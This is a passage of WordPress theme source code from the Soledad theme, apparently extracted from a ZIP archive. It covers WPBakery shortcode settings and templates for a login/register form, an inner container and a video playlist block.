				'heading'          => esc_html__( 'Input Placeholder Color', 'soledad' ),
				'param_name'       => 'form_place_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Input Border Color', 'soledad' ),
				'param_name'       => 'form_inputborder_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Link Color', 'soledad' ),
				'param_name'       => 'form_link_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Link Hover Color', 'soledad' ),
				'param_name'       => 'form_link_hcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),

			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Button Text Color', 'soledad' ),
				'param_name'       => 'form_button_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Button Background Color', 'soledad' ),
				'param_name'       => 'form_button_bgcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Button Text Hover Color', 'soledad' ),
				'param_name'       => 'form_button_hcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Button Hover Background Color', 'soledad' ),
				'param_name'       => 'form_button_hbgcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Login & Register Links Color', 'soledad' ),
				'param_name'       => 'ploginregis_link',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
		),
		Penci_Vc_Params_Helper::extra_params()
	)
) );
PK     0w\F    .  js_composer/shortcodes/login_form/frontend.phpnu [        <?php
$output     = $penci_block_width = $el_class = $css_animation = $css = '';
$form_style = $dis_login_here = $lostpassword = $register = $redirect_url = '';

$form_text_color   = $form_input_color = $form_place_color = $form_inputborder_color = $ploginregis_link = '';
$form_link_color   = $form_link_hcolor = '';
$form_button_color = $form_button_bgcolor = $form_button_hcolor = $form_button_hbgcolor = $responsive_spacing= '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$current_url = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );
$css_class       = 'penci-block-vc penci-login-register';
$css_class       .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id        = Penci_Vc_Helper::get_unique_id_block( 'login_register' );

if( ! is_user_logged_in() || ( $form_style != 'register' && is_user_logged_in() ) ){
?>
	<div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
		<div class="penci-block_content">
			<div class="penci-login-wrap clearfix<?php echo( 'login' != $form_style ? ' hidden' : '' ); ?>">
				<?php
				if ( ! is_user_logged_in() ) {
					Penci_Vc_Helper::_login_form();
				} else {
					$current_user = wp_get_current_user();
					?>
					<div class="penci-user-logged-in">
						<div class="penci-login-header">
							<div class="penci-login-avatar">
								<?php echo get_avatar( $current_user->ID, 85 ); ?>
							</div>
							<p>
								<span class="penci-text-hello"><?php echo penci_get_setting( 'penci_trans_hello_text' ); ?></span>
								<span class="penci-display_name"><?php echo $current_user->display_name; ?></span>
							</p>
						</div>
						<div class="penci-user-action-links">
							<?php
							if ( class_exists( 'bbpress' ) ) {
								$profile_url = bbp_get_user_profile_url( bbp_get_current_user_id() );
							} else {
								$profile_url = get_edit_user_link();
							}
							?>
							<a class="penci-button penci-button-ptofile" href="<?php echo $profile_url; ?>"><?php penci_fawesome_icon('far fa-user-circle'); ?> <?php echo penci_get_setting( 'penci_trans_profile_text' ); ?></a>
							<a class="penci-button penci-button-logout" href="<?php echo wp_logout_url( $current_url ); ?>"><?php penci_fawesome_icon('fas fa-sign-out-alt'); ?> <?php echo penci_get_setting( 'penci_trans_logout_text' ); ?></a>
						</div>
					</div>
					<?php
				}
				?>
			</div>
			<?php if( ! is_user_logged_in() && get_option( 'users_can_register' ) ){ ?>
			<div class="penci-register-wrap clearfix<?php echo( 'register' != $form_style ? ' hidden' : '' ); ?>">
				<div class="penci-register-container">
					<form name="form" id="penci-registration-form" class="penci-registration-form" action="<?php echo esc_url( site_url( 'wp-login.php?action=register', 'login_post' ) ); ?>" method="post" novalidate="novalidate">
						<input type="hidden" name="_wpnonce" class="penci_form_nonce" value="<?php echo wp_create_nonce( 'register' ); ?>">
						<p class="register-input">
							<input class="penci_first_name penci-input" name="penci_first_name" type="text" placeholder="<?php echo penci_get_setting( 'penci_pregister_first_name' ); ?>"/>
						</p>
						<p class="register-input">
							<input class="penci_last_name penci-input" name="penci_last_name" type="text" placeholder="<?php echo penci_get_setting( 'penci_pregister_last_name' ); ?>"/>
						</p>
						<p class="register-input">
							<input class="penci_user_name penci-input" name="penci_user_name" type="text" placeholder="<?php echo penci_get_setting( 'penci_pregister_user_name' ); ?>"/>
						</p>
						<p class="register-input">
							<input class="penci_user_email penci-input" name="penci_user_email" type="email" placeholder="<?php echo penci_get_setting( 'penci_pregister_user_email' ); ?>"/>
						</p>
						<p class="register-input">
							<input class="penci_user_pass penci-input" name="penci_user_pass" type="password" placeholder="<?php echo penci_get_setting( 'penci_pregister_user_pass' ); ?>"/>
						</p>
						<p class="register-input">
							<input class="penci_user_pass_confirm penci-input" name="penci_user_pass_confirm" type="password" placeholder="<?php echo penci_get_setting( 'penci_pregister_pass_confirm' ); ?>"/>
						</p>
						<?php do_action( 'register_form' ); ?>
						<p class="register-input">
							<input type="submit" name="penci_submit" class="button" value="<?php echo penci_get_setting( 'penci_pregister_button_submit' ); ?>"/>
						</p>
					</form>
					<?php
					echo '<div class="penci-loginform-extra"><a class="penci-user-login-here" href="' . esc_url( wp_login_url() ) . '">' . penci_get_setting( 'penci_pregister_label_registration' ) . '</a></div>';
					?>
				</div>
			</div>
			<?php } ?>
			<div class="penci-loading-icon"><?php penci_fawesome_icon('fas fa-spinner fa-pulse fa-3x fa-fw'); ?></div>
		</div>
	</div>
<?php
}

$id_login_form = '#' . $block_id;
$id_login_form2 = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom    = Penci_Vc_Helper::get_heading_block_css( $id_login_form, $atts );

if ( $form_text_color ) {
	$css_custom .= $id_login_form . ' form { color:' . esc_attr( $form_text_color ) . ' }';
}
if ( $form_input_color ) {
	$css_custom .= $id_login_form . ' form .penci-input{ color:' . esc_attr( $form_input_color ) . ' }';
}

if ( $form_place_color ) {
	$css_custom .= $id_login_form2 . ' form input::-webkit-input-placeholder{ color:' . esc_attr( $form_place_color ) . ' !important; }';
	$css_custom .= $id_login_form2 . ' form input:-moz-placeholder{ color:' . esc_attr( $form_place_color ) . ' !important; }';
	$css_custom .= $id_login_form2 . ' form input::-ms-input-placeholder{ color:' . esc_attr( $form_place_color ) . ' !important; }';
	$css_custom .= $id_login_form2 . ' form input::placeholder{ color:' . esc_attr( $form_place_color ) . ' !important; opacity: 1; }';
}

if ( $form_inputborder_color ) {
	$css_custom .= $id_login_form2 . ' form .penci-input{ border-color:' . esc_attr( $form_inputborder_color ) . ' }';
}
if ( $form_link_color ) {
	$css_custom .= $id_login_form2 . ' .penci-register-wrap a,';
	$css_custom .= $id_login_form2 . ' .penci-login-wrap a{ color:' . esc_attr( $form_link_color ) . ' }';
}
if ( $form_link_hcolor ) {
	$css_custom .= $id_login_form2 . ' .penci-register-wrap a:hover,';
	$css_custom .= $id_login_form2 . ' .penci-login-wrap a:hover{ color:' . esc_attr( $form_link_hcolor ) . ' }';
}

if ( $form_button_color ) {
	$css_custom .= $id_login_form2 . '.penci-login-register input[type="submit"], '. $id_login_form .' .penci-user-logged-in .penci-user-action-links a{ color:' . esc_attr( $form_link_color ) . ' }';
}
if ( $form_button_bgcolor ) {
	$css_custom .= $id_login_form2 . '.penci-login-register input[type="submit"], '. $id_login_form .' .penci-user-logged-in .penci-user-action-links a{ border-color:' . esc_attr( $form_button_bgcolor ) . ';background-color:' . esc_attr( $form_button_bgcolor ) . ' }';
}
if ( $form_button_hcolor ) {
	$css_custom .= $id_login_form2 . '.penci-login-register input[type="submit"]:hover, '. $id_login_form .' .penci-user-logged-in .penci-user-action-links a:hover{ color:' . esc_attr( $form_button_hcolor ) . ' }';
}
if ( $form_button_hbgcolor ) {
	$css_custom .= $id_login_form2 . '.penci-login-register input[type="submit"]:hover, '. $id_login_form .' .penci-user-logged-in .penci-user-action-links a:hover{ border-color:' . esc_attr( $form_button_hbgcolor ) . ';background-color:' . esc_attr( $form_button_hbgcolor ) . ' }';
}
if ( $ploginregis_link ) {
	$css_custom .= $id_login_form2 . ' .penci-loginform-extra a{ color:' . esc_attr( $ploginregis_link ) . '}';
}

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_login_form, $responsive_spacing );
}


if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\s9    3  js_composer/shortcodes/container_inner/settings.phpnu [        <?php
vc_map( array(
	'base'                    => 'penci_container_inner',
	'icon'                    => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'                => penci_get_theme_name('Soledad'),
	'html_template'           => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/penci_container_inner/frontend.php',
	'name'                    => penci_get_theme_name('Penci').' '.__( 'Container', 'soledad' ),
	'description'             => esc_html__( 'Place content elements inside the container', 'js_composer' ),
	'weight'                  => 1000,
	'is_container'            => true,
	'show_settings_on_create' => false,
	'as_child'                => array( 'only' => 'penci_column_inner' ),
	'params'                  => array(
		array(
			'type'       => 'hidden',
			'param_name' => 'el_width',
			'std'        => 'w1080',
			'value'      => 'w1080',
		),
		array(
			'type'       => 'hidden',
			'param_name' => 'container_layout',
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => __( 'Disable sticky content & sidebar.', 'soledad' ),
			'param_name' => 'el_disable_sticky',
			'value'      => array( __( 'Yes', 'soledad' ) => 'yes' ),
		),
		array(
			'type'        => 'el_id',
			'heading'     => __( 'Row ID', 'soledad' ),
			'param_name'  => 'el_id',
			'description' => sprintf( __( 'Enter optional row ID. Make sure it is unique, and it is valid as w3c specification: %s (Must not have spaces)', 'soledad' ), '<a target="_blank" href="http://www.w3schools.com/tags/att_global_id.asp">' . __( 'link', 'soledad' ) . '</a>' ),
		),
	),
	'js_view'          => 'VcPenciContainerView',
	'default_content'  => '[penci_column_inner width="1/3"][/penci_column_inner][penci_column_inner width="2/3"][/penci_column_inner]',
) );
PK     0w\Å     3  js_composer/shortcodes/container_inner/frontend.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

/**
 * Shortcode attributes
 * @var $atts
 * @var $el_class
 * @var $css
 * @var $el_id
 * @var $equal_height
 * @var $content_placement
 * @var $content - shortcode content
 * Shortcode class
 * @var WPBakeryShortCode_Vc_Row_Inner $this
 */
$el_class = $equal_height = $content_placement = $css = $el_id = '';
$disable_element = '';
$output = $after_output = '';
$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$el_class = $this->getExtraClass( $el_class );
$css_classes = array(
	'vc_row',
	'wpb_row',
	// deprecated
	'vc_inner',
	'vc_row-fluid',
	$el_class,
	vc_shortcode_custom_css_class( $css ),
);
if ( 'yes' === $disable_element ) {
	if ( vc_is_page_editable() ) {
		$css_classes[] = 'vc_hidden-lg vc_hidden-xs vc_hidden-sm vc_hidden-md';
	} else {
		return '';
	}
}

if ( vc_shortcode_custom_css_has_property( $css, array(
	'border',
	'background',
) ) ) {
	$css_classes[] = 'vc_row-has-fill';
}

if ( ! empty( $atts['gap'] ) ) {
	$css_classes[] = 'vc_column-gap-' . $atts['gap'];
}

if ( ! empty( $equal_height ) ) {
	$flex_row = true;
	$css_classes[] = 'vc_row-o-equal-height';
}

if ( ! empty( $atts['rtl_reverse'] ) ) {
	$css_classes[] = 'vc_rtl-columns-reverse';
}

if ( ! empty( $content_placement ) ) {
	$flex_row = true;
	$css_classes[] = 'vc_row-o-content-' . $content_placement;
}

if ( ! empty( $flex_row ) ) {
	$css_classes[] = 'vc_row-flex';
}

$wrapper_attributes = array();
// build attributes for wrapper
if ( ! empty( $el_id ) ) {
	$wrapper_attributes[] = 'id="' . esc_attr( $el_id ) . '"';
}

$css_class = preg_replace( '/\s+/', ' ', apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, implode( ' ', array_filter( array_unique( $css_classes ) ) ), $this->settings['base'], $atts ) );
$wrapper_attributes[] = 'class="' . esc_attr( trim( $css_class ) ) . '"';

$output .= '<div ' . implode( ' ', $wrapper_attributes ) . '>';
$output .= wpb_js_remove_wpautop( $content );
$output .= '</div>';
$output .= $after_output;

// @codingStandardsIgnoreLine
echo $output;
PK     0w\oz+  +  2  js_composer/shortcodes/video_playlist/settings.phpnu [        <?php
$group_color   = 'Typo & Color';
$group_heading = 'Heading';

vc_map( array(
	'base'          => 'penci_video_playlist',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/video_playlist/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Video Playlist', 'soledad' ),
	'description'   => __( 'Video playlist block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Video Type', 'soledad' ),
			'param_name' => 'video_type',
			'std'        => 'custom',
			'value'      => array(
				__( 'Custom Lists', 'soledad' )     => 'custom',
				__( 'Youtube Playlist', 'soledad' ) => 'youtube_playlist',
			),
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Block Columns', 'soledad' ),
			'param_name' => 'penci_block_width',
			'std'        => 3,
			'value'      => array(
				__( '1 Column ( Small Container Width)', 'soledad' )    => '1',
				__( '2 Columns ( Medium Container Width )', 'soledad' ) => '2',
				__( '3 Columns ( Large Container Width )', 'soledad' )  => '3',
			),
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => esc_html__( 'Maxiumum Playlist Items', 'soledad' ),
			'param_name' => 'yplaylist_limit',
			'std'        => '5',
			'dependency' => array( 'element' => 'video_type', 'value' => array( 'youtube_playlist' ) ),
		),
		array(
			'type'       => 'textfield',
			'heading'    => esc_html__( 'Youtube Playlist ID', 'soledad' ),
			'param_name' => 'yplaylist_id',
			'std'        => '',
			'dependency' => array( 'element' => 'video_type', 'value' => array( 'youtube_playlist' ) ),
		),
		array(
			'type'        => 'exploded_textarea',
			'heading'     => esc_html__( 'Videos List', 'soledad' ),
			'param_name'  => 'videos_list',
			'std'         => '',
			'dependency'  => array( 'element' => 'video_type', 'value' => array( 'custom' ) ),
			'description' => 'Enter each video url in a seprated line. Supports: YouTube and Vimeo videos only.<br><span style="color: red;font-weight: bold;">Note Important</span>: If  you use video come from youtube, please go to Customize > General > Extra Options > YouTube API Key and enter an api key.</span>'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide video duration', 'soledad' ),
			'param_name'       => 'hide_duration',
			'edit_field_class' => 'vc_col-sm-6',
			'value'            => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide video order number', 'soledad' ),
			'param_name'       => 'hide_order_number',
			'edit_field_class' => 'vc_col-sm-6',
			'value'            => 'no',
		),
		array(
			'type'       => 'textfield',
			'heading'    => esc_html__( 'Title Length for Video', 'soledad' ),
			'param_name' => 'video_title_length',
			'value'      => '10',
			'std'        => '10',
		),
		array(
			'type'       => 'textfield',
			'heading'    => esc_html__( 'Unique ID for Save & Clear Caching', 'soledad' ),
			'param_name' => 'block_id',
			'value'      => rand( 1000, 100000 ),
			'std'        => rand( 1000, 100000 ),
		),
	), array(
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Heading Title Style', 'soledad' ),
			'param_name' => 'heading_title_style',
			'std'        => '',
			'value'      => array(
				esc_html__( 'Default ( follow Customize )', 'soledad' ) => '',
				esc_html__( 'Style 1', 'soledad' )                      => 'style-1',
				esc_html__( 'Style 2', 'soledad' )                      => 'style-2',
				esc_html__( 'Style 3', 'soledad' )                      => 'style-3',
				esc_html__( 'Style 4', 'soledad' )                      => 'style-4',
				esc_html__( 'Style 5', 'soledad' )                      => 'style-5',
				esc_html__( 'Style 6', 'soledad' )                      => 'style-6',
				esc_html__( 'Style 7', 'soledad' )                      => 'style-7',
				esc_html__( 'Style 8', 'soledad' )                      => 'style-9',
				esc_html__( 'Style 9', 'soledad' )                      => 'style-8',
				esc_html__( 'Style 9', 'soledad' )                      => 'style-8',
				esc_html__( 'Style 10', 'soledad' )                     => 'style-10',
				esc_html__( 'Style 11', 'soledad' )                     => 'style-11',
				esc_html__( 'Style 12', 'soledad' )                     => 'style-12',
				esc_html__( 'Style 13', 'soledad' )                     => 'style-13',
				esc_html__( 'Style 14', 'soledad' )                     => 'style-14',
				esc_html__( 'Style 15', 'soledad' )                     => 'style-15',
				esc_html__( 'Style 16', 'soledad' )                     => 'style-16',
				esc_html__( 'Style 17', 'soledad' )                     => 'style-2 style-17',
				esc_html__( 'Style 18', 'soledad' )                     => 'style-18',
				esc_html__( 'Style 19', 'soledad' )                     => 'style-18 style-19',
				esc_html__( 'Style 20', 'soledad' )                     => 'style-18 style-20',
				esc_html__( 'Style Video List', 'soledad' )             => 'video_list',
				esc_html__( 'Style 21', 'soledad' )                     => 'style-21',
				esc_html__( 'Style 22', 'soledad' )                     => 'style-22',
				esc_html__( 'Style 23', 'soledad' )                     => 'style-23',
				esc_html__( 'Style 24', 'soledad' )                     => 'style-24',
				esc_html__( 'Style 25', 'soledad' )                     => 'style-25',
				esc_html__( 'Style 26', 'soledad' )                     => 'style-26',
				esc_html__( 'Style 27', 'soledad' )                     => 'style-27',
				esc_html__( 'Style 28', 'soledad' )                     => 'style-28',
			),
			'group'      => 'Heading',
		),
		array(
			'type'        => 'textfield',
			'heading'     => esc_html__( 'Heading Title', 'soledad' ),
			'param_name'  => 'heading',
			'value'       => '',
			'std'         => esc_html__( 'Block Title', 'soledad' ),
			'admin_label' => true,
			'description' => esc_html__( 'A title for this block, if you leave it blank the block will not have a title', 'soledad' ),
			'group'       => 'Heading',
		),
		array(
			'type'        => 'textfield',
			'heading'     => esc_html__( 'Title Url', 'soledad' ),
			'param_name'  => 'heading_title_link',
			'std'         => '',
			'description' => esc_html__( 'A custom url when the block title is clicked', 'soledad' ),
			'group'       => 'Heading',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Heading Align', 'soledad' ),
			'param_name' => 'heading_title_align',
			'std'        => '',
			'value'      => array(
				esc_html__( 'Default ( follow Customize )', 'soledad' ) => '',
				esc_html__( 'Left', 'soledad' )                         => 'pcalign-left',
				esc_html__( 'Center', 'soledad' )                       => 'pcalign-center',
				esc_html__( 'Right', 'soledad' )                        => 'pcalign-right',
			),
			'group'      => 'Heading',
		),
		array(
			'type'        => 'dropdown',
			'heading'     => 'Align Icon on Style 15',
			'value'       => array(
				'Default( follow Customize )' => '',
				'Right'                       => 'pciconp-right',
				'Left'                        => 'pciconp-left',
			),
			'param_name'  => 'heading_icon_pos',
			'description' => '',
			'dependency'  => array( 'element' => 'heading_title_style', 'value' => array( 'style-15' ) ),
			'group'       => 'Heading',
		),
		array(
			'type'        => 'dropdown',
			'heading'     => 'Custom Icon on Style 15',
			'value'       => array(
				'Default( follow Customize )' => '',
				'Arrow Right'                 => 'pcicon-right',
				'Arrow Left'                  => 'pcicon-left',
				'Arrow Down'                  => 'pcicon-down',
				'Arrow Up'                    => 'pcicon-up',
				'Star'                        => 'pcicon-star',
				'Bars'                        => 'pcicon-bars',
				'File'                        => 'pcicon-file',
				'Fire'                        => 'pcicon-fire',
				'Book'                        => 'pcicon-book',
			),
			'param_name'  => 'heading_icon',
			'description' => '',
			'dependency'  => array( 'element' => 'heading_title_style', 'value' => array( 'style-15' ) ),
			'group'       => 'Heading',
		),
	), Penci_Vc_Params_Helper::params_heading_typo_color(), array(
		array(
			'type'             => 'textfield',
			'param_name'       => 'post_title_css',
			'heading'          => esc_html__( 'Extra colors', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Background list videos', 'soledad' ),
			'param_name'       => 'list_video_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Video title color', 'soledad' ),
			'param_name'       => 'video_title_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Video title hover color', 'soledad' ),
			'param_name'       => 'video_title_hover_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Video duration color', 'soledad' ),
			'param_name'       => 'duration_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Video order number color', 'soledad' ),
			'param_name'       => 'order_number_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Video order number background color', 'soledad' ),
			'param_name'       => 'order_number_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Item video border color', 'soledad' ),
			'param_name'       => 'item_video_border_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Item video hover background and border color', 'soledad' ),
			'param_name'       => 'item_video_bg_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Scroll bar background color', 'soledad' ),
			'param_name'       => 'scrollbar_bg_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     0w\gb,'  ,'  2  js_composer/shortcodes/video_playlist/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = $responsive_spacing = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

if ( ( ! $atts['videos_list'] && $atts['video_type'] == 'custom' ) || ( $atts['video_type'] == 'youtube_playlist' && ! $atts['yplaylist_id'] ) ) {
	return;
}

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-video_playlist';
$css_class .= ' pencisc-column-' . $atts['penci_block_width'];
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'video_playlist' );
?>
    <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
        <div class="penci-block_content">
			<?php
			if ( ! get_theme_mod( 'penci_youtube_api_key' ) && preg_match( "#(?<=v=)[a-zA-Z0-9-]+(?=&)|(?<=v\/)[^&\n]+(?=\?)|(?<=v=)[^&\n]+|(?<=youtu.be/)[^&\n]+#", $atts['videos_list'], $matches ) ) {
				echo '<strong>Youtube Api key</strong> is empty. Please go to Customize > General > Extra Options > YouTube API Key and enter an api key :)';
			}

			$cache_name = 'penci-shortcode-playlist-' . $atts['video_type'] . '-' . $atts['block_id'];
			$cache_key  = 'penci-shortcode-playlist-key' . $atts['video_type'] . '-' . $atts['block_id'];

			$videos          = explode( ',', $atts['videos_list'] );
			$videos_list     = get_transient( $cache_name );
			$videos_list_key = get_transient( $cache_key );
			$rand_video_list = rand( 1000, 100000 );


			if ( $atts['video_type'] == 'custom' && ( empty( $videos_list ) || $atts['videos_list'] != $videos_list_key ) ) {
				$videos_list = \Penci_Video_List::get_video_infos( $videos );
				set_transient( $cache_name, $videos_list, 18000 );
				set_transient( $cache_key, $atts['videos_list'], 18000 );
			}

			if ( $atts['video_type'] == 'youtube_playlist' && ( empty( $videos_list ) || $atts['yplaylist_id'] != $videos_list_key ) ) {
				$videos_list = \Penci_Video_List::get_playlist_videos_ids( $atts['yplaylist_id'], $atts['yplaylist_limit'] );
				set_transient( $cache_name, $videos_list, 18000 );
				set_transient( $cache_key, $atts['videos_list'], 18000 );
			}
			$videos_count = is_array( $videos_list ) ? count( (array) $videos_list ) : 0;

			if ( ! empty( $videos_list ) ): ?>
                <div class="penci-video-play">
					<?php foreach ( (array) $videos_list as $key => $video ): ?>
						<?php
						if ( $key > 0 ) {
							continue;
						}
						?>
                        <div class="fluid-width-video-wrapper">
                            <iframe class="penci-video-frame" id="video-<?php echo esc_attr( $rand_video_list ) ?>-1"
                                    src="<?php echo esc_attr( $video['id'] ) ?>" width="770" height="434"></iframe>
                        </div>
					<?php endforeach; ?>
                </div>
                <div class="penci-video-nav">
					<?php if ( ! empty( $atts['heading'] ) && 'video_list' == $atts['heading_title_style'] ): ?>
                        <div class="penci-playlist-title">
                            <div class="playlist-title-icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></span></div>
                            <h2>
								<?php
								echo( ! empty( $atts['heading_title_link'] ) ? '<a href=" ' . esc_url( $atts['heading_title_link'] ) . ' ">' : '<span>' );
								echo esc_html( $atts['heading'] );
								echo( ! empty( $atts['heading_title_link'] ) ? '</a >' : '</span>' );
								?>
                            </h2>
                            <span class="penci-videos-number">
								<span class="penci-video-playing">1</span> /
								<span class="penci-video-total"><?php echo( $videos_count ) ?></span>
								<?php
								if ( function_exists( 'penci_get_tran_setting' ) ) {
									echo penci_get_tran_setting( 'penci_social_video_text' );
								} else {
									esc_html_e( 'Videos', 'soledad' );
								}
								?>
							</span>
                        </div>
					<?php endif; ?>
					<?php
					$class_nav = ( ! empty( $atts['title'] ) && 'video_list' == $atts['block_title_style'] ) ? ' playlist-has-title' : '';
					$class_nav .= $videos_count > 3 ? ' penci-custom-scroll' : '';

					$direction = is_rtl() ? ' dir="rtl"' : '';
					?>
                    <div class="penci-video-playlist-nav<?php echo esc_attr( $class_nav ); ?>"<?php echo( $direction ); ?>>
						<?php
						$video_number = 0;
						foreach ( $videos_list as $video ):
							$video_number ++;
							?>
                            <a data-name="video-<?php echo esc_attr( $rand_video_list . '-' . $video_number ) ?>"
                               data-bgset="<?php echo esc_attr( $video['id'] ) ?>"
                               class="penci-video-playlist-item penci-video-playlist-item-<?php echo esc_attr( $video_number ); ?>">
							<span class="penci-media-obj">
								<span class="penci-mobj-img">
									<?php if ( 'yes' != $atts['hide_order_number'] ): ?>
                                        <span class="playlist-panel-item penci-video-number"><?php echo esc_attr( $video_number ) ?></span>
                                        <span class="playlist-panel-item penci-video-play-icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></span>
                                        <span class="playlist-panel-item penci-video-paused-icon"><?php penci_fawesome_icon( 'fas fa-pause' ); ?></span>
									<?php
									endif;


									$class_lazy = $data_src = '';
									$dis_lazy   = get_theme_mod( 'penci_disable_lazyload_layout' );
									if ( $dis_lazy ) {
										$class_lazy = ' penci-disable-lazy';
										$data_src   = 'style="background-image: url(' . esc_url( $video['thumb'] ) . ');"';
									} else {
										$class_lazy = ' penci-lazy';
										$data_src   = 'data-bgset="' . esc_url( $video['thumb'] ) . '"';
									}

									printf( '<span class="penci-image-holder penci-video-thumbnail%s" %s><span class="screen-reader-text">%s</span></span>', $class_lazy, $data_src, esc_html__( 'Thumbnail youtube', 'soledad' ) );
									?>
								</span>
								<span class="penci-mobj-body">
									<span class="penci-video-title"
                                          title="<?php echo esc_attr( $video['title'] ); ?>"><?php echo wp_trim_words( $video['title'], $atts['video_title_length'], '...' ); ?></span>
									<?php if ( 'yes' != $atts['hide_duration'] ): ?>
                                        <span class="penci-video-duration"><?php echo esc_attr( $video['duration'] ) ?></span>
									<?php endif; ?>
								</span>
							</span>
                            </a>
						<?php endforeach;
						?>
                    </div>
                </div>
			<?php endif; ?>
        </div>
    </div>
<?php

$id_block_css = '#' . $block_id;
$id_block_css2 = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom   = Penci_Vc_Helper::get_heading_block_css( $id_block_css, $atts );

if ( 'video_list' == $atts['heading_title_style'] ) {
	$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
		'font_size'  => $atts['btitle_fsize'],
		'font_style' => $atts['use_btitle_typo'] ? $atts['btitle_typo'] : '',
		'template'   => $id_block_css . ' .penci-playlist-title h2{ %s }',
	) );

	if ( $atts['btitle_bgcolor'] ) {
		$css_custom .= $id_block_css2 . '.penci-video_playlist .penci-playlist-title{ background-color:' . esc_attr( $atts['btitle_bgcolor'] ) . ';}';
	}

	if ( $atts['block_title_color'] ) {
